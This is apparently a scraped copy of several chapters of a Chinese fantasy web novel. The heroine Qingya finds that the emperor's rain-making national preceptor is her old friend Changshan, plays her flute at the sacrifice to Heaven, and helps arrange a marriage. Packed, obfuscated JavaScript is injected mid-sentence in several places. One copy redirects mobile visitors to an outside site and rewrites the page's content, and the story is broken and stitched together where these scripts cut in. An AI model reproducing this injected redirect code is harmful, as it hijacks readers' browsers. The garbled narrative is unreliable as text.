有时他也被说成是一个妖,为了窃取皇帝运势自己修炼成仙,所以潜伏在皇帝身边。 讲故事的和听故事的对他褒贬不一,有的忌惮,有的鄙视,有的仰慕。从编排他的故事数量可知,无论如何,他都是京城中数一数二的风云人物。 关于他是妖的传说,倒让青崖想起一个疑点:水灵根的妖的确能够降雨,可牡丹说过,皇宫宫殿都有诛邪司术士设下的阵法结界,皇帝身边更有法力高深的术士保护,国师如果是妖,是怎样通过身份验证,常与皇帝接触,却不被术士发现的呢? 她把这个疑问提出,红鸾也说不出个所以然来,不知这个会降雨的妖是怎样蒙蔽了术士。 青崖越来越想见国师一次,哪怕只是远远看一眼也好,因此,当看到国师的马车时十分兴奋。 那日牡丹带他们去京郊荷塘泛舟游玩,午后归来,照旧在城门口排队等着入城。 队伍照例分三列,最长的一列是平民队伍;最短的一列是达官贵人的队伍。 青崖坐在牡丹马车中,排在最短的队伍里,等了一炷香的时间才轮到他们进城。 门口的卫兵认得牡丹,每次不要求出示名牌,用鉴形墨查验也只装装样子。常人点了墨总需再等片刻,确认墨迹没有变色才能入城,有牡丹带着他们时,城门口的术士点了墨也不细看就允许他们入城。 这日同样,术士在赶车的季师傅手上点了墨,牡丹、青崖和红鸾也伸出手去接受检查时,负责检查的术士忽然停手放下所有东西,对牡丹道:“夫人稍等。” 马车里三人脸色皆紧张起来,以为术士发现了什么,牡丹探出头去看了一眼,松了口气道:“没事,原来他们是要迎国师的马车。” 青崖一听,激动地走出马车,与季师傅一起坐在赶车的位置,装作若无其事的样子,观察后面一辆徐徐驶来的马车。 那辆马车前后都有带刀护卫和执拂尘与扇子的道童,马车车身上绘有祥云与白鹤。车队没有排任何一队,直接插在了牡丹的马车前面。 原来国师进城门根本不用排队。 领头的人对城门口的士兵出示了一个令牌,那队人就开始一一接受检查,过城门,往城中走。 凡是过往马车,在城门口必要打开马车接受检查。青崖占了一个好位置,虽然相隔有一段距离,但等术士揭开那辆黑色马车时,她恰好能看到马车内的情形。想到终于能看看国师是何许人也,她坐在车前双脚兴奋地荡来荡去。 除了他,另外两个队伍中也有不少好奇的人伸长脖子观望,想要一睹国师真容。哪怕是见过的,也忍不住想再多看一眼这位能呼风唤雨的仙长。 青崖双脚荡着荡着,突然停了,随着国师的马车靠近,她闻到了一股熟悉的气味。 是普通草药与仙草植物混合的气味。这种气味,她只在一个人的身上闻到过。 气味越来越明显,青崖的心跟着提了起来,目不转睛盯着那辆马车。 黑色马车前面所有的人都已通过检查,终于轮到马车里的国师,带头负责检验的术士与卫兵齐齐向马车行礼。 “恭迎仙长回京。” 马车里的国师竟是一声回应也懒得给。 赶车的道童掀开马车车帘,一人端坐其中,正闭目养神。他黑玄袍广袖,手臂上搭一雪白拂尘,果然如传说中那般,气派非凡,宛如谪仙。 纵使他闭着双眼,纵使他有着五年前没有的长眉与长须,青崖还是一眼就认出,他就是长山。 51. 报之以琼瑶3 长山就是国师? 术士没有在国师手上点墨,往马车里快速看了一眼,恭恭敬敬放马车通行。 青崖怔怔盯着那辆马车,感到红鸾的手在她肩膀上按了一下,在她耳边轻声道:“别乱动。” 国师的马车徐徐走远,青崖一直在愣神,甚至不知道自己是如何被红鸾拉进马车,又是如何通过查验进城的。 满心满脑都只有一个疑问,长山怎么会是国师? 牡丹得知国师竟然就是青崖先前打听的人,大吃一惊:“‘长山’就是国师?你不是说他是个大夫吗?” 青崖也一头雾水,“他以前痴迷于岐黄之术,的确是个大夫,他家就是医药世家,而且他是个普通人,怎么会是一百多岁会降雨的国师呢?” 长山五年前还是一个被通缉的逃犯,就算哲远有办法帮他脱罪,但从逃犯变成国师,未免太匪夷所思。 牡丹沉吟片刻,道:“他是不是一百多岁,其实一直有人怀疑,毕竟他看起来不过三十出头,最多四十,但他确实能够降雨,因此大家也就信了他有一百多岁,以为百岁仙人看起来年轻一些也合情合理。” 青崖回想今日所见的国师,他头发大部分是黑发,只在鬓角处夹杂着几缕白发,看起来确实比真实年龄要年长许多。她与姐姐经常乔装打扮,甚至五年前还给长山易容一起去泰安城骗过了通缉长山的官兵,所以二十多岁的长山乔装成四十岁,不是难事,难的是让人相信他是会降雨的百岁仙长。 啪的一声,青崖一掌拍在桌上,气道:“他要是会降雨,当年我的房子也不会被烧成灰烬了!他到底是怎么骗过众人骗过皇帝的?那么年轻,怎么真的相信他有一百多岁?” 牡丹道:“国师的出身本就扑朔迷离,皇帝之所以信他,据我所知有两个理由,第一就是他的确会降雨,第二就是他会炼丹。陛下以前患有严重头疾,重金悬赏名医为他治疗,十年来,许多医师术士都无能为力,而国师一来,就用自己炼制的丹药给陛下治好了顽疾。” “那是他医术好!” “还有,他说自己见过外出巡游的太上皇,能说出八十年前与太上皇有关的别人都不知道的事。” “怎么可能,我以前认识他的时候,他的的确确是一个‘人’,只不过他能感受到仙草植物中的灵,还可以在人眉心诊脉,所以医术极好。”青崖道,“是不是因为他有灵根,所以意外修炼出了可以呼风唤雨的能力?” 牡丹道:“你是说他意外变成了妖?” 这听起来与逃犯变成国师一样匪夷所思。 青崖道:“他一碰到我就可以感知到我是妖,体质本来就有些特别。” 牡丹道:“可是,要说对妖的防范,没有什么地方比皇宫更严密。国师就住在宫里,常常与陛下接触,他不仅可以通过宫殿的防妖结界,还通过了诛邪司的所有验身手段,连汤固都察觉不出一丝异样。也正因如此,他会降雨也没人怀疑他是妖,都相信他是仙官下凡。” 青崖拿出隐灵膏,道:“既然有这个东西,说不定其他鉴妖的手段也有对应的破解方法。” 红鸾道:“我从没听说过有‘人’能通过修炼获得灵族的能力,退一万步,就算他能修炼成灵,那他能拥有的能力也应该是木系,而不是水系,不可能会降雨。” 在牡丹与红鸾的分析下,青崖也开始觉得自己的猜测不太可能,道:“其他暂且不提,国师为什么建议皇帝修建修仙阁?灵需要在有灵气的地方修炼,难道人需要在高楼中修炼,就能长生不老?可有先例?” “没有先例,”牡丹道,“传说中唯一一个长生的人就是《天书》的作者,寒潭仙人,他所说的长生方法你们知道,就是吃妖丹。国师的说法则是让皇帝建楼修炼同时服用他炼制的丹药,如此经年累月方能获得长生。” 青崖声音闷闷道:“降雨不管是怎么实现的,总之能造福东莱国百姓,他这个国师本来名声很好,可就因为劝皇帝修建修仙阁,才有人骂他。” 说书人编排的故事里,但凡指桑骂槐的,大都诟病他让皇帝大兴土木,劳民伤财。 红鸾听出她话语间还透露出袒护长山的倾向,讽刺道:“是啊,只要皇帝信了他所谓的‘长生’方法,就可以保证他拥有长长久久的尊贵地位。无论如何,你现在该知道,他没有遵守诺言回去找你的原因了。有如此地位,自然舍不得这里的荣华富贵,和你的约定又算得了什么?” 青崖听了这话反而眼神一亮,激动道:“不管再怎么变,他明知道咱们是妖,这五年也从没有带人去抓过我们,不是吗?他没有害我们,还是把我们当作朋友的,对不对?他让皇帝改用吃妖丹以外的方法追求长生,其实对妖族有利,说不定是在帮我们呢!” 红鸾白了她一眼:“他都是国师了,哪里还需要靠捉一两个妖邀功请赏。至于长生方法,他不提出点新鲜花样,如何能胜过汤固和皇帝以前信任的术士?” “国师不支持捉妖,也可能仅仅是因为不支持汤固,”牡丹附和道,“他们都是替皇上寻找长生之法的人,在国师出现之前,唯一听说过的长生方法就是抓妖剖丹食用,国师出现后,皇帝吃了国师的丹药身体健朗,容光焕发,显得比几年前还年轻,就更相信国师的丹药和修炼方法,不如以前那么器重汤固了。他们两个本有对立之势,所以国师才不赞成捉妖。” 两个姐姐你一言我一语,都劝青崖不要再把长山当作五年前认识的那个人,青崖如遭霜打,越听越失落。 难道长山真的变了?不再是五年前那个痴迷于医药、喜欢治病救人的长山了? 她憋闷地站起,“我要见他!当面问问他,到底是怎么回事!” 红鸾与牡丹相顾无言。 沉默半晌后,牡丹开口道:“再过半个月修仙阁就要开工破土,这之前要在南郊举行祭天仪式。那时去祭坛附近,也许能找个位置再看看国师,确认一下他是不是你以前认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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小狼接住梅子嘿嘿笑着丢到嘴里,装傻充愣道:“哦?隔壁是芊芊他爹?这么巧啊。” 青崖恨不得一壶茶水泼到他头上。 小狼道:“既然遇见了,你就帮我听听,看看他爹到底打什么主意。是不是要把芊芊嫁给他那个‘李兄’的儿子。” 芊芊一家来到京城后,小狼能与芊芊相会的机会比在路上时还少,因为芊芊要陪她父亲遍访名医,偶尔得空又被父亲朋友家人带着游玩京城,无法推脱。 小狼说青崖奄奄一息像丢了魂,其实他自己也总像丢了魂,芊芊住在李家,少不得与李家公子有接触,小狼与青崖曾偷偷跟踪观察,两家结伴出游,次次不缺李家公子,小狼每日心神不宁,如同芊芊随时都要和那李家公子成亲了一般。 自己捡的弟弟自己得负责。青崖叹息一声,单手托腮,凝神细听隔壁桌的对话。 52. 报之以琼瑶4 双方客套寒暄一阵,芊芊父亲的朋友李姓中年道:“陈兄今日头还疼吗?若是感到精神不济,我们随时可以回去。” 茜茜父亲道:“昨日王大夫给我施了几针,今日好多了。就是这施一次针只能管用一天,晚上若是不施针,第二日又会疼痛。” 李姓中年道:“你这头疾是多年顽疾,肯定要费一番功夫才能治好。需要什么药你跟我说,咱们是做药材生意的,最不缺的就是药。现在《禁药令》比几年前宽松多了,简直形同虚设,除了本就真正稀有难以采摘的药,其他大部分治病的常用药,无论是普通草药还是仙草植物,百姓都可以使用。” 听到他们讨论《禁药令》,青崖顿时来了兴致。《禁药令》的改动她也关注过,因为长山父母亡故就与《禁药令》有关,长山离开时曾满心抱负对她说父母亡故不是一人之过,而是规则错误,后来《禁药令》改善,百姓用药自由,青崖一度以为是长山做了什么努力。 芊芊父亲压低声音问:“《禁药令》为什么变了?刚推出的时候禁了那么多药,害咱们连药材生意都不敢继续做,那时候好多药商遭难,只亏钱都算幸运的,好多都把命搭进去了,他们要是料到会有今天,冤魂都得去鸣冤。” 李姓中年也压低声音,两人对话几乎变成耳语。 “这个我还真打听过,听说是长生不老药的配方变了。” “哦?” “以前皇上身边那个说会炼丹的术士提出仙草可以炼制长生不老药,皇上采纳他的建议才颁布《禁药令》,将全国各地的药材集中供给那个术士,结果他什么丹药也没练出来。现在这位国师一出现,就把皇帝的头疾给治好了。他说他也会练长生不老药,还说原来那个术士欺君,以炼丹药为名蒙蔽皇上,推行《禁药令》让百姓受难国运下降,导致皇上龙体受损。为了辨别真假,以前的术士和现在的国师还进行过一次斗法,国师大获全胜,获得陛下信任,不仅惩处了从前的术士,还在国师建议下,把《禁药令》中许多药都解了禁。” 李家也想做药材生意,因此关于《禁药令》的内情知道得比牡丹还详细。 这让青崖有些欣慰,仿佛在现在的国师身上找到了一点长山从前的影子。甚至猜测,或许他做国师,就是为了改变《禁药令》? 芊芊父亲问:“那会不会有一天再变回去?” “这不好说,不过药材生意,现在可以抓紧做一做,因为《禁药令》,许多药材都断货多年,药农这两年才开始重新种植,尤其是仙草植物类。你家里不是有一片地能生长仙草吗?你如果有途径把你们那里的本地药材运到京城来,肯定能大赚一笔。你以前本来就是做这个的,重新开张,旧关系都还在,我也可以带你走动走动,你是想留在京城还是想回家乡去?” 芊芊父亲的声音带着几分憔悴,道:“这得跟我儿子商量商量,唉,老啦,不中用啦,又总是头疼,要渐渐把家里的事情交给年轻人喽。” “别这么说,你放心,京城大夫这么多,肯定能治好。我托人帮你打听打听当年国师给皇上治疗头疾时使用的药方,如果头疾症状类似,你也可以试试那个药方。” 芊芊父亲一连串道谢,之后两人商议了一些生意上的事情,听得出来,芊芊父亲要想重新开始药材生意,少不得他这位李姓朋友的帮助。 约莫两盏茶后,他们的话题终于拐到各自儿女的身上。 “你若早几年给我来信就好了,”李姓中年道,“不然我肯定不会那么早就让犬子娶妻,当年咱们两个还开玩笑似地说过,如果我们的孩子是一儿一女,就让他们成亲,你还记得吗?” “记得,可惜我女儿没福气,做不了令郎的妻子啦。”芊芊父亲不无遗憾道。 “我那孩子是被我惯坏了,什么事都要自己拿主意,他当年不懂事,自己定的人要成婚,我们拦都拦不住。不过呢,我很喜欢芊芊这孩子,这几日他们相处,我儿子也很中意他,不知芊芊喜欢京城吗?” 问的是芊芊喜不喜欢京城,可青崖琢磨他这话,似在问芊芊愿不愿意嫁入他家。李公子已有正妻,难道他还想让芊芊做妾? 小狼见她脸色变得凝重,知道她听到了关键消息,定在座上大气都不敢喘一口,生怕打扰到她。 “芊芊这几日提到你家公子,多有夸赞,说他招待周到,带她去了许多地方,看了好多热闹。”芊芊父亲的声音明显精神了几分,他喝了一口茶,徐徐道:“不过呢,芊芊是个恋家的人,女儿家嘛,总是不想离父母太远,我们就这么一个闺女,当然是捧在手心里。” 青崖皱眉,他只有芊芊一个闺女不假,但从芊芊平日言语也能得知,父母都偏爱哥哥居多,对芊芊顶多算是不太差,远远谈不上“捧在手心里”。 李姓中年道:“所以我说嘛,你也留在京城,我帮你介绍人,包你能顺利重新开始你的药材生意。” 芊芊父亲哈哈道:“我回去同家人商议商议。” 话虽这么说,他跃跃欲试的语气明显是希望留在京城。 青崖和小狼两个都是不通世务的,摸不准芊芊父亲话里话外的意思。 若是现在把自己听到的内容和自己的猜测说出来,小狼只怕会当场掀桌子去找芊芊父亲要人。 因此,无论小狼怎么央求念叨,她在茶馆什么也没透露,直到回到暂住的宅院里,才当着小狼的面,将芊芊父亲与他朋友的对话原样重复给红鸾。 红鸾一听就毫不留情地点破:“如果芊芊能给李家的公子做妾,攀上这门关系,芊芊他爹不管想留在京城还是想回家乡做生意,都多了一个有财力有人脉的京城亲家,你说他愿不愿意?这种情况别说让芊芊做妾,就是让芊芊献身无名无份地陪那公子玩一段时间,他爹估计都愿意。” 小狼急道:“可是芊芊不愿意!” “芊芊真的不愿意吗?”红鸾从语气到眼神都透着冷酷,道:“京城何其繁华,你怎么能确信,芊芊见过李家公子后会不愿意留在京城,依然一心想跟你回山野间过日子?” 小狼几乎是跳着站起:“芊芊不是那种见利忘义的人,你不要污蔑她!” 红鸾虽在槐谷就试探过芊芊,却仍是难以对人完全信任,道:“来到京城后,你见过她几次?你怎知她没有变化?” 这句话戳到了小狼的痛处,说中了他隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是需要隐瞒芊芊的事情越来越多,与芊芊相处的时间越来越少,这让他烦躁不安。 青崖与小狼各有烦恼,京城的新鲜与繁华都变得索然无味。 青崖时不时在城门口附近闲逛,希望能像上次一样在那里偶遇国师,再确认一下,那是不是长山,但未能如愿。 听说在祭天仪式之前,国师要辅助皇帝做准备,所以一直在宫里。 煎熬半月,终于等到祭天大典。 仪式在京城南郊祭坛举行,青崖经牡丹指点,摸熟了南郊祭坛附近的地形。 祭天是露祭,祭坛是三层露天圆台,场地四周除了围墙别无其他建筑,宽广而空阔。场地外北侧有一小山丘,山坡上有一片密林,从那片林子里恰好可以远远看到祭坛。 “这也太远了吧。”勘察地形时,青崖灰心丧气地伸直左手,远处的祭坛比她手掌大不了多少。 以这个距离,到时候只能看到人影轮廓,很难看清五官。 尽管如此,她还是决定去蹲守观看。这种仪式太子也要参与,说不定还能看到哲远与裴浩。 祭天仪式前三日,所有歌舞娱乐等活动都被明令禁止,牡丹的清妙坊也闭门谢客。皇帝出宫到南郊祭坛的道路均有士兵把守,禁止闲杂人等出入。宫人对道路进行洒扫装饰,使之面貌一新。 祭天当日丑时,趁夜色漆黑,青崖就藏在了山坡林子里。小狼对此不感兴趣,没有同来,红鸾倒是意外地不仅没有反对她来偷窥,甚至还和她一起来了。 53. 报之以琼瑶5 青崖趴在一块山石后,看着姐姐专注望向祭坛样子,笑道:“我怎么觉得你其实也很想看看祭天仪式?” 红鸾道:“祭天仪式几乎算是东莱国最盛大的仪式,能与这个仪式规模匹敌的只有新皇登基仪式。我为什么不能好奇想看看?” 距离日出还有两个时辰,祭祀场地里已是一派繁忙景象,主要是巡逻检查牌位、供器、祭品的官员与部下,还有调试乐器的乐师。 青崖爱吹笛,好音律,不由被场内陈列的各种乐器所吸引。只见祭坛下东西两侧,设有钟、磬、琴、笙,还有其他自己见也没见过的乐器,边看乐师调试,边听音辨别各种乐器音色,不知不觉,到了寅时日夜交替之际。 场中官员停止巡逻,乐师排列整齐,各自就位。 天蒙蒙亮时,皇帝的仪仗在乐曲声中浩浩荡荡走来,队伍里有皇亲国戚、文武百官、术士侍卫,绵延数里,一眼望不到头。 长队里的乐队入场加入祭坛东西两侧的乐师方阵中,其后就是着衮冕的皇帝正式入场。 “咦?”青崖眯起眼睛遥望皇帝,奇道,“不是说那皇帝五十四岁了吗?但他身形看起来完全不像五十多岁?” 红鸾专注地看着,没有答话。 皇帝的衮服上玄下朱,绣有日月星云,山浪火龙,华丽厚重十足,然皇帝步伐稳健,气度不凡,如此远观,竟是风华正茂,威风凛凛。 青崖转念一想,这老头锦衣玉食,还有长山的丹药滋养,自然比民间五十多岁的百姓更显年轻。 紧跟在皇帝身后一身玄袍的人,便是国师。他臂挽拂尘,昂首阔步,皇帝走到祭坛近前时,他肃穆地走出仪仗队,引导皇帝盥洗,上坛,到神位前行礼,上香。每一个步骤都伴随钟声回响。 五年前的长山谦和有礼,发现新的草药和配方时会兴奋得像个孩子,因为是受伤逃犯,无家可归,多少还带有一些落魄之意。而眼前国师身份尊贵,一举一动受万人瞩目,遥远而陌生。 青崖简直希望他并不是长山。 目光一转,她在场中又找到了着礼服的太子与着盔甲的裴浩。 除了皇帝与国师以外,队伍里就数太子最引人注目。他身形变化明显,以前身高不及自己眉眼的小少年,现在却高出自己许多,不再是那副弱不禁风的小少年模样了。 裴浩还是记忆中的老样子,在太子身边站得笔直,英挺至极。但青崖不喜欢他那身盔甲,那种打扮,在任何一处见到,她都会忍不住躲避,因为她是妖,时时都得提防官兵术士的妖。 青崖看了片刻,慢慢收回视线,背靠着藏身的山石,如植物枯萎一般,缓缓坐到地上。 他们都在,自己却只能远远地偷看他们一眼,都不能告诉他们自己来了。 五年前温柔唤她“青崖姑娘”的长山,叫她“青崖姐姐”的阿远,叫她“小师父”的裴浩,都那么远,远得看不清他们的眉眼。 他们还是他们吗? 青崖第一次注意到自己与他们之间的差异,并为这差异而沮丧。没想到好不容易看到他们了,却比没有看到他们时更失落。 “姐姐,我好想去和他们打招呼,”她难过道,“想告诉他们我来看他们了。我给阿远带了槐谷的灵药和他爱看的游记,想试试裴浩功夫练得怎么样,剑术有没有长进,还有……长山,我想问他,答应好了五年后来找我,他为什么负约……” 什么“山高路远”?她从槐谷来京城,路上只用了两个月,并没有遇到过不去的高山和走不到头的路。 他为什么不来? 青崖心中酸楚,眼眶湿热。 红鸾没有陪她一起坐下,一直遥望着祭坛,对祭天仪式特别感兴趣似的。 “打招呼吧,”红鸾忽然道,“久别重逢,理当问候故人,别来无恙?” *** 祭天之后就要开始修建据说可以让皇上获得长生的修仙阁,因此这次祭天仪式比以往更意义深远。 长生不老,修炼成仙,究竟确切与否,没人完全相信,也没人敢说不信。皇帝的命令与追求高于一切,旁人只好盲从。纵使有市井说书人编排故事指出这是一个骗局,众人表面上也必须诚心诚意赞同,全心全意地参与。 日出之时,钟声止,圆形祭坛中央,国师念罢祝词,拈香点燃,煞有介事地递给皇帝。 “陛下,吉时已到。” 乐人严阵以待,准备在皇帝迎来帝神时,为皇天上帝再奏一曲。 指尖尚未触及琴弦,笙箫尚未递至唇边,不知从何而来的乐声,先一步响起。 是笛声。 悠扬婉转的笛声,突然萦绕在祭坛之上。 有人扰乱祭天仪式?众人讶然,面面相觑,都不敢动。不知该忽略笛声继续仪式,还是设法先弄清笛声从何而来。 分不清是哪个方向,一曲清越笛声,在清晨的风中飘飘而至,响彻祭坛。听起来似乎极远,又似乎极近。 乐音美妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14172889|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天地如同有所感应,朝阳撞碎云团照耀在大地上,照得祭坛灿灿耀眼。 一身玄袍的国师险些把手中的香捏断。 太子僵立良久,悄悄转头看了一眼裴浩,在对方暗藏惊异的目光中确认了——是她。 是五年前曾听过的笛音。 每个人的乐音都有其特色,正如每个人的字迹,何况他们认得的那个特殊女子吹奏的是从未流传于世的曲调。 在这样肃穆的氛围里,笛声更显音韵轻灵,仿佛拥有涤尘洗俗的神力,令人忘记时间流转,变得清透,陡生随风而去归于虚无的心愿。 连皇帝也没有发怒,侧耳聆听笛音,陶醉地忽略了吉时。 万千等待祭天仪式、心情各异的人不约而同保持肃静。 一曲笛音响罢,国师手中的香燃烧到了指尖,灼手的热度令他回神,烟灰扑簌落地。他收敛心神道:“陛下,仙音清心悦耳,从天而降,乃是吉兆。” 皇帝半信半疑,道:“来人,巡视四周,若有奏乐的‘仙人’,请来一叙。” 立刻便有机灵殷勤的宫人吩咐下一级宫人去寻找吹笛者。是仙是妖,请来一看便知。 命令一层层快速传递下去,须臾,驻守祭坛四周的御林军中派出八支小队向着不同方向出发,搜寻吹笛者。 黑色道袍厚重,被日光晒得发烫,一滴汗珠从国师鬓角滑落。 *** “姐姐,我们走吧。” 山石后,青崖收起笛子,一曲罢,胸中畅快了许多。 红鸾的视线却还停在祭坛上。 “满意了?不打算在这里见他?” “什么?”青崖以为自己听错了,“姐姐你喝醉了在说胡话吗?我在这里怎么见他?有这么多术士、官员、官兵在场,还有皇帝。” “哦,是我糊涂。”红鸾收回视线,道:“以后再找机会把长山拎来,让你问个所以然,我把他烤熟也要让他在熟透之前给你一个明白的解释。” 青崖奇怪总让自己忘记长山的姐姐怎么突然这样为自己鸣不平,偏头去瞧,却见姐姐眼里满是悲凉之色。 一队御林军即将搜到这片树林,她来不及细想姐姐为何如此,只道:“好,我们再等时机,今天只是打个招呼。他现在身份地位这么显赫,总不会轻易失踪让人找不到他。” “是啊,还不是好时机,”红鸾呢喃,最后朝祭坛方向望了一眼,回首变作红鸟,飞上半空给青崖带路返回京城。 54. 报之以琼瑶6 等了许多日,芊芊终于能有时间来与他们一叙。 为了谨慎起见,红鸾没有邀请芊芊到牡丹提供给她们居住的宅院里,而是将见面地点定在京城的一家客栈中。 青崖在客栈厢房中里走来走去,焦灼不安地等着小狼把芊芊带来。 “芊芊会不会变心?”青崖每走两圈就忍不住发问,“如果等一会谈话时我从芊芊口中听到谎言,要立刻戳穿她吗?” 想了想又道:“芊芊知道我的辨言能力,她不会说谎的。只要她还肯来,就一定是没有变心。” 红鸾端坐于主座,垂首绣着一只手帕,竟似半点儿也不紧张。 吱呀一声,小狼气冲冲推门而入,后面跟着低头沉默的芊芊。 他与芊芊向来拉拉扯扯,打打闹闹,这般一前一后,互不理睬,还是头一次。 “芊芊想嫁给李公子做妾了!”小狼一进屋就满怀怨气甩出一句话。 “我没有想!”芊芊瞪着他跺了一下脚。她眼圈发红,睫毛湿漉漉的,想来是两个人在路上就开始吵架,芊芊还哭过。 红鸾放下手中针线,默默审视芊芊。青崖给芊芊递了个手帕,耐心道:“那你和我们说说,家里情况怎么样了?我们最近都见不到你,小狼更是日日想你,天天唠叨说你除了陪父亲看病,就是陪李公子在京城四处游玩……” 芊芊泫然欲泣:“我又不想陪他游玩,是我哥非要拉着我去,全家都让我去,我们借住在李家,他的邀请,我怎好推辞?”越说越委屈,说到后面不成字句,哭了起来。 小狼对于这些人情世故全不理会,道:“不去就是不去,有什么不能推辞?” 芊芊:“你不懂——” “对,我是不懂!我就是只狼妖,哪懂你们人的道理?” 芊芊忙拽住他的胳膊,“你小声点,这里是客栈,万一被人听到了怎么办?” 小狼正在气头上,把芊芊的关心理解成了嫌弃,一下甩开芊芊的手,扭头转到一边。 “听见就听见,反正等你嫁给李公子就把我给忘了,我是死是活与你毫不相干。” 芊芊咬着唇捶了小狼一下,转身与小狼背对背,不停用手帕抹泪。 幸好在找客栈时红鸾就嘱咐要找个人少的地方,这个客栈只有一层,此时两边房间都没有人,不会有人听到他们的对话。 两个都是自己看着长大的孩子,青崖左右为难,一边轻拍芊芊的背心,一边侧眼看气呼呼的小狼,猛给红鸾递眼色,而红鸾视若无睹,修炼入定一般静静坐着,什么也不说。 “哎呀你们不要吵架,今天叫芊芊来是一起商量办法的。”青崖绕到芊芊面前,“你家里父母哥哥希望你嫁到李公子家,我们想知道的是你自己的打算。” 芊芊坐下,以手遮面,泣不成声,“我能有什么打算……我的打算又不作数……” 青崖拉下芊芊的手,握着她的手腕,望着她的泪眼,坚定道:“我们不管你家里人态度怎样,只想知道你的打算。你若不想嫁给李公子,我们就一定为你想办法,让你的打算作数!” 芊芊与小狼来往,从未与任何人说过,从小只有青崖这个姐姐支持他们。听到青崖的主张与信任,芊芊像找到主心骨一样,渐渐稳住情绪,擦干眼泪。 “我爹想重新开始药材生意,要打通从我们那里运药到京城的途径少不得李家帮忙,李家人与我父亲多年不见,表面和睦,其实交情远没以前那么深厚了。现在全家都指望着我能嫁给李家,有了姻亲关系他们家才肯定更愿意照顾我家的生意。我爹娘他们至少还会问问我愿不愿意,我哥却不理会我的意愿,非说嫁给谁都是嫁。他想和李公子攀交情,就非要让我嫁给李公子,这几日出门,都是他硬拉着我和李公子一起出去,半路中途他又借口跑掉丢下我和李公子单独相处。” 这和从芊芊父亲与李姓中年那里听到的情况差不多,青崖点点头,“那李公子怎样?你喜欢他吗?” 芊芊用余光瞥了小狼一眼道:“我怎么会喜欢李公子,我喜欢的是一只笨狼。” 芊芊话音一落,红鸾与小狼都扭头看向青崖,见她目露欣慰,知道芊芊所说不假,小狼脸色瞬间缓和,但还是赌气不肯开口说话。 红鸾抬起眼帘注视着芊芊,“如果我带小狼正式上门提亲,聘礼是京城的一套宅院和足够让你家重新开始药材生意的本钱,你父亲就不会逼你嫁给李家了吧?” 听到这个提议,芊芊与小狼皆是一惊,齐齐望向红鸾。 准备跟着芊芊一家到京城来时,红鸾曾说过找机会正式提亲的话,但一路接受的盘查与见闻让他们都不再抱那样的期望。一到京城,红鸾连住处也不让小狼给芊芊透露,谨慎到这种程度,怎么可能正式上门提亲?聘礼还如此阔气? 青崖也吃了一惊,转念一想,现在他们都在京城,有牡丹姐帮他们伪造的假身份。至少在官方文书上,他们是青州齐郡人,有根有底,不是什么山野妖怪,只要提亲成功,芊芊嫁给小狼,小狼自然有理由带芊芊回家乡去。芊芊家人留在京城,但京城与青州距离遥远,如此一来,芊芊就是名正言顺的远嫁,不必与父母不辞而别了。 这岂不是一条更顺畅的路? 芊芊呆了半晌,问:“你们以什么身份去提亲呢?” 红鸾道:“就说我们是青州人,我家小狼来京城游玩,对你一见钟情,想把你娶回青州去。你家人就算有心想去青州一探究竟,我们也有时间在那里布置准备一番。” 小狼激动得完全忘记生气,频频示意芊芊点头。 芊芊却是个思虑周全的人,她想了想道:“只要看起来可信,有可靠的媒人介绍,我父母最多托人打听打听,大约不会真的到青州去详细调查。” 红鸾点头:“我想也是,以京城的一所宅院为聘礼,还是娶你做正妻,一般的人家都不会拒绝。” 芊芊显出几分难为情,红鸾道:“你不必有负担,我们长年在山里,有银钱也花不出去,攒了许多。再说,本来男子娶妻就是要给聘礼的。” 青崖开心道:“咱们什么时候去提亲?是不是越快越好?” 芊芊却道:“现在大约不行。我哥他一心想跟李家攀交情,我爹头疾未愈,最近将所有事务都托付给我哥了。如果现在提亲,我怕父母会让我哥做主。” 小狼不忿:“你自己的事怎么还需要你哥做主?” 红鸾道:“长兄如父,长姐如母,世人皆是如此。” 听到“长姐如母”,小狼才有点理解为何芊芊哥哥的意见至关重要了。因为他自己做事也会着重参考姐姐的意见。 芊芊道:“我父母本来愿意听从我的意愿,但是我哥……如果我爹的头疾好了,不需要我哥掌家,那时提亲才最合适。就算他不同意,只要他身体安康,我就算不告而别,也没有后顾之忧了。” “你爹的头疾多久能治好?” “其实最近我爹得了一个可靠的药方,说只要按照药方服药,一个月头疾就可痊愈。只可惜那药极其珍贵,就算有钱也难买到。” 青崖挺身而出,“需要什么药?你告诉我,我替你想办法。” *** 小狼送芊芊回去,出门的时候,两人又恢复了拉拉扯扯你侬我侬的关系。 午后,青崖与红鸾跟着季师傅来到了牡丹家。 牡丹的屋里有熏香的味道 馥郁的香气对嗅觉敏感的青崖来说有些刺激,她不适地打了好几个喷嚏,牡丹贴心地熄灭熏香,打开了窗。 青崖来到窗边,指着贴在墙上的几张画满小人的图问:“这是什么?” 那一排排小人有的举手,有的跳跃,姿势千变万化。 牡丹解释:“哦,那是我还没完成的舞谱。” 红鸾看这几张舞谱有些眼熟,道:“还是你师父没完成的那支《蝶恋花》?” “是啊,这么多年,一直没能补全,后半支舞怎么编排也不满意。”牡丹看了一眼墙上残缺的舞谱,重新回到她们之前谈论的话题,“真的必须是白玉芝才行吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 